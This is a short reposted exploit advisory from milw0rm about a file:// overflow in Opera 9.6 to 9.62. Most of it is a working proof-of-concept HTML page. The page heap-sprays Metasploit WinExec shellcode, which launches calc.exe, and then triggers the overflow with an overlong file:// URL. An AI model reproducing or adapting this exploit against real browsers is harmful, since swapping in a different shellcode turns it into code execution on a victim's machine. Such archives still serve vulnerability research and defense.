‘Opera file:// Overflow’
Summary
‘
Credit:
‘The information has been provided by send9.
The original article can be found at: http://milw0rm.com/exploits/7135‘
Details
‘Vulnerable Systems:
* Opera version 9.6
* Opera version 9.61
* Opera version 9.62
Exploit:
<html>
<head><title>uh?</title></head>
<body>
<script>
// k`sOSe 11/15/2008
// tested on Windows XP SP3, opera 9.62 international version
// vulnerability found by send9
// there are many ways to achieve code execution, tons of function pointers to overwrite.
// maybe there’s one more reliable…
var i=0;
// push es, pop es
var block = unescape(‘%u0607%u0607’);
// metasploit WinExec c:WINDOWSsystem32calc.exe
var shellcode = unescape(‘%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100’);
while (block.length < 81920) block += block;
var memory = new Array();
for (;i<1000;i++) memory[i] += (block + shellcode);
var evil = ‘file://’;
for(var i = 0; i<16438; i++)
evil += ‘X’;
evil += ‘R.’;
window.location.replace(evil);
</script>
</body>
</html>
# milw0rm.com [2008-11-17]’